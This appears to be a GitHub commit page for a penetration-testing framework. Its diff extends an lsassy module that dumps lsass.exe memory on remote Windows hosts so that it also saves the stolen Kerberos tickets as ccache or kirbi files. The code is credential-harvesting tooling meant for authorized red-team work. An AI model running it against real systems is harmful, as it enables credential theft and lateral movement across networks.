Skip to content

Commit cb0f125

Browse files
authored
Merge pull request Pennyw0rth#833 from gatariee/feat-lsassy
added `DUMP_TICKETS` flag to lsassy module
2 parents 83b7148 + 051bc34 commit cb0f125

1 file changed

Lines changed: 75 additions & 2 deletions

File tree

nxc/modules/lsassy.py

Lines changed: 75 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,17 @@
44
# https://beta.hackndo.com [FR]
55
# https://en.hackndo.com [EN]
66

7+
import os
8+
import sys
79
from lsassy.dumper import Dumper
810
from lsassy.impacketfile import ImpacketFile
911
from lsassy.parser import Parser
1012
from lsassy.session import Session
1113

14+
from impacket.krb5.ccache import CCache
15+
1216
from nxc.helpers.bloodhound import add_user_bh
17+
from nxc.paths import NXC_PATH
1318

1419

1520
class NXCModule:
@@ -21,13 +26,33 @@ def __init__(self, context=None, module_options=None):
2126
self.context = context
2227
self.module_options = module_options
2328
self.method = None
29+
self.dump_tickets = True
30+
self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy")
31+
self.ticket_type = "ccache"
2432

2533
def options(self, context, module_options):
26-
"""METHOD Method to use to dump lsass.exe with lsassy"""
34+
"""
35+
METHOD Method to use to dump lsass.exe with lsassy
36+
DUMP_TICKETS If set, will dump Kerberos tickets (Default: True)
37+
SAVE_DIR Directory to save dumped tickets
38+
SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
39+
"""
2740
self.method = "comsvcs"
2841
if "METHOD" in module_options:
2942
self.method = module_options["METHOD"]
3043

44+
if "DUMP_TICKETS" in module_options:
45+
self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"]
46+
47+
if "SAVE_DIR" in module_options:
48+
self.save_dir = module_options["SAVE_DIR"]
49+
50+
if "SAVE_TYPE" in module_options:
51+
self.ticket_type = module_options["SAVE_TYPE"]
52+
if self.ticket_type not in ["kirbi", "ccache"]:
53+
context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
54+
sys.exit(1)
55+
3156
def on_admin_login(self, context, connection):
3257
host = connection.host
3358
domain_name = connection.domain
@@ -67,7 +92,6 @@ def on_admin_login(self, context, connection):
6792
context.log.fail("Unable to parse lsass dump")
6893
return False
6994
credentials, tickets, masterkeys = parsed
70-
7195
file.close()
7296
context.log.debug("Closed dumper file")
7397
file_path = file.get_file_path()
@@ -84,6 +108,9 @@ def on_admin_login(self, context, connection):
84108
if credentials is None:
85109
credentials = []
86110

111+
if self.dump_tickets and tickets:
112+
self.write_tickets(context, tickets, host)
113+
87114
for cred in credentials:
88115
c = cred.get_object()
89116
context.log.debug(f"Cred: {c}")
@@ -116,6 +143,52 @@ def on_admin_login(self, context, connection):
116143
context.log.debug("Calling process_credentials")
117144
self.process_credentials(context, connection, credentials_output)
118145

146+
def write_tickets(self, context, tickets, host):
147+
if not tickets:
148+
context.log.display("No Kerberos tickets found")
149+
return
150+
151+
if not os.path.exists(self.save_dir):
152+
try:
153+
os.makedirs(self.save_dir)
154+
context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
155+
except Exception as e:
156+
context.log.fail(f"Error creating directory {self.save_dir}: {e}")
157+
return
158+
159+
ticket_count = 0
160+
for ticket in tickets:
161+
for filename in ticket.kirbi_data:
162+
try:
163+
base_filename = filename.split(".kirbi")[0]
164+
timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
165+
kirbi_data = ticket.kirbi_data[filename]
166+
167+
if self.ticket_type == "ccache":
168+
ccache = CCache()
169+
ccache.fromKRBCRED(kirbi_data.dump())
170+
ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
171+
ticket_content = ccache.getData()
172+
else:
173+
ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
174+
ticket_content = kirbi_data.dump()
175+
176+
ticket_path = os.path.join(self.save_dir, ticket_filename)
177+
178+
with open(ticket_path, "wb") as f:
179+
f.write(ticket_content)
180+
181+
ticket_count += 1
182+
context.log.debug(f"Saved ticket: {ticket_filename}")
183+
184+
except Exception as e:
185+
context.log.fail(f"Error writing ticket {filename}: {e}")
186+
187+
if ticket_count > 0:
188+
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
189+
else:
190+
context.log.display("No tickets were saved")
191+
119192
def process_credentials(self, context, connection, credentials):
120193
if len(credentials) == 0:
121194
context.log.display("No credentials found")

0 commit comments

Comments
 (0)